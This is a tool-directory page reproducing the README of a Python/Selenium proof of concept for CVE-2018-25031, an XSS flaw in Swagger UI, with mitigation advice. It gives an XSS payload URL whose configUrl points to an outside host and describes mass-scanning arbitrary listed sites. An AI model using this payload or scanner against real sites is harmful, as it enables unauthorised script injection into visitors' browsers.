Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-25031 — Python-based proof-of-concept script demonstrating CVE-2018-25031 XSS vulnerability in Swagger UI using Selenium for automated detection across multiple endpoints. | Kitploit
Tools/GitHubGitHub/lucasrenaa/cve-2018-25031
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationAPI Security
GitHublucasrenaa/cve-2018-25031

CVE-2018-25031

Python-based proof-of-concept script demonstrating CVE-2018-25031 XSS vulnerability in Swagger UI using Selenium for automated detection across multiple endpoints.

View Repository
42 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Swagger UI Cross-Site Scripting POC: CVE-2018-25031 using Selenium in Python

This repository contains a Python script that demonstrates a proof of concept (POC) of a Cross-Site Scripting (XSS) vulnerability in Swagger UI, using the Selenium library. The goal of this POC is to identify websites that are susceptible to this vulnerability by exploiting Swagger UI with a malicious payload.

Cross-Site Scripting (XSS) Vulnerability in Swagger UI

Swagger UI is a widely used tool for viewing and interacting with APIs through a user-friendly interface. However, in version 2.9.2, a Cross-Site Scripting (XSS) vulnerability was identified that could allow an attacker to inject malicious JavaScript code into loaded Swagger UI pages.

XSS occurs when an application does not properly validate user-supplied data before displaying it on the page. In this case, an attacker can exploit the vulnerability by inserting malicious JavaScript code into Swagger UI input fields, which will be executed in the context of other users' browsers that access the same compromised page.

Example of XSS in Swagger UI

Note: The image above illustrates an example of how an attacker can insert an XSS payload into Swagger UI, taking advantage of a security flaw in affected versions.

Mitigation and Solution

The most effective way to mitigate this vulnerability is to ensure that Swagger UI is updated to a version that is not affected. Check the latest versions of Swagger UI and keep it always up to date.

For developers who want to use or customize Swagger UI, it is essential to properly validate input data before displaying it in the interface. Avoiding the direct rendering of HTML or JavaScript inserted by users is a recommended practice to prevent XSS vulnerabilities.

Exploitation Example

Here is a simplified example of how the vulnerability can be exploited using Swagger UI:

  1. The attacker accesses a vulnerable Swagger UI.
  2. The attacker identifies an input field where they can insert text.
  3. The attacker injects an XSS payload into the URL, for example: http://127.0.0.1:8080/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
  4. When other users access the same compromised page, the XSS payload is executed in their browsers, displaying an alert with the message "Vulnerabilidade de XSS".

Warning

This section is intended for educational and informational purposes only. Do not encourage or engage in malicious or illegal activities. Always follow responsible disclosure practices when reporting vulnerabilities.

Prerequisites

Make sure you have the following prerequisites installed before running the script:

  • Python: Make sure you have Python installed on your machine.
  • Selenium: Install the Selenium library using the following command:
    root@kitploit:~
    pip install selenium
    
  • ChromeDriver: Make sure you have a compatible ChromeDriver installed. You can download ChromeDriver from the official Selenium website or use a package manager, such as WebDriver Manager.

How to use the script

  1. Clone or download this repository to your machine.

  2. Edit the sites_para_testar.txt file and enter the URLs of the websites you want to test, one per line.

  3. Open a terminal in the repository folder and run the script using the following command:

    root@kitploit:~
    python main.py
    
  4. The script will go through the websites listed in the sites_para_testar.txt file, access their Swagger UI URLs, and check whether an XSS alert is detected. The results will be recorded in three files: valido.txt for potentially vulnerable URLs, talvezvalido.txt for URLs that may be vulnerable, and naovalido.txt for non-vulnerable URLs.

Understanding the Script

The script uses the Selenium library to automate interaction with the Chrome browser. It loads the Swagger UI URLs configured in the sites_para_testar.txt file, adds a malicious payload to the configUrl parameter, and checks whether an XSS alert is triggered.

The script performs the following steps:

  1. Imports the necessary libraries from Selenium and other dependencies.

  2. Configures ChromeDriver options to ignore SSL and certificate errors.

  3. Initializes the Chrome driver.

  4. Reads the websites to be tested from the sites_para_testar.txt file and iterates over them.

  5. Opens each Swagger UI URL with the malicious payload added.

  6. Attempts to check whether an XSS alert is triggered.

  7. Based on the check result, records the URLs in the valido.txt, talvezvalido.txt, or naovalido.txt files.

  8. Closes the Chrome driver.

Legal Disclaimer

This script is provided for educational and cybersecurity awareness purposes only. It should not be used for malicious or illegal purposes. The author is not responsible for any misuse of this script or for any damages resulting from its use.

Contribution

If you find any way to improve this script or have suggestions, feel free to create a pull request.

License

This project is licensed under the MIT License.

Download Tool